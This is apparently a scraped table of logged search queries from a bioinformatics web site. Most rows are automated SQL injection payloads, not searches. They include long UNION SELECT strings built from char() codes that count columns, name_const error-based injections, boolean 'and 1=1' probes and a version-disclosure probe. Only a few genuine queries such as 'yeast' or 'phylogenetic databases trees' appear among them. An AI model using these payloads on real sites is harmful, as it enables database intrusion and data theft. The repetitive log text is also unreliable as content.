| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45) -- /* order by 'as |
2 |
| gene selection |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45) -- /* order by 'as |
2 |
| yeast |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45) -- /* order by 'as |
2 |
| srs |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45),char(45,120,52,53,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45),char(45,120,52,53,45,81,45),char(45,120,52,54,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45),char(45,120,52,53,45,81,45),char(45,120,52,54,45,81,45),char(45,120,52,55,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45),char(45,120,52,53,45,81,45),char(45,120,52,54,45,81,45),char(45,120,52,55,45,81,45),char(45,120,52,56,45,81,45) -- /* order by 'as |
2 |
| anemona.xlt |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45),char(45,120,52,53,45,81,45),char(45,120,52,54,45,81,45),char(45,120,52,55,45,81,45),char(45,120,52,56,45,81,45),char(45,120,52,57,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45),char(45,120,52,53,45,81,45),char(45,120,52,54,45,81,45),char(45,120,52,55,45,81,45),char(45,120,52,56,45,81,45),char(45,120,52,57,45,81,45),char(45,120,53,48,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45) -- /* order by "as |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45) -- /* order by "as |
2 |
| blast -ebi" or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111, and 1=1 |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45) -- /* order by "as |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45) -- /* order by "as |
2 |
| sugar |
2 |
| blast -ebi" and "x"="x |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45) -- /* order by "as |
2 |
| jenny |
2 |
| protein conservation |
2 |
| ddbj blast |
2 |
| m http://www.ebi.ac.uk/biocat/biocat.html |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45) -- /* order by "as |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45) -- /* order by "as |
2 |
| multiple sequence alignment pattern discovery |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45) -- /* order by "as |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45) -- /* order by "as |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45) -- /* order by "as |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45) -- /* order by "as |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45) -- /* order by "as |
2 |
| predict protein protein interaction sites.'" and 1=1 |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45) -- /* order by "as |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45) -- /* order by "as |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45) -- /* order by "as |
2 |
| file'+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+'x'='x |
2 |
| html'+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+and+1=1 |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45) -- /* order by "as |
2 |
| upload'+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+'x'='x |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45) -- /* order by "as |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45) -- /* order by "as |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45) -- /* order by "as |
2 |
| 199999"+union+select+unhex(hex(version()))+--+"x"="x |
2 |
| query and 1=1 |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45) -- /* order by "as |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45) -- /* order by "as |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45) -- /* order by "as |
2 |
| 3473b |
2 |
| soap+genome |
2 |
| rxnorm |
2 |
| restrict |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45) -- /* order by "as |
2 |
| phylogenetic databases trees |
2 |
| variant1111111111111" union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45) -- /* order by "as |
2 |
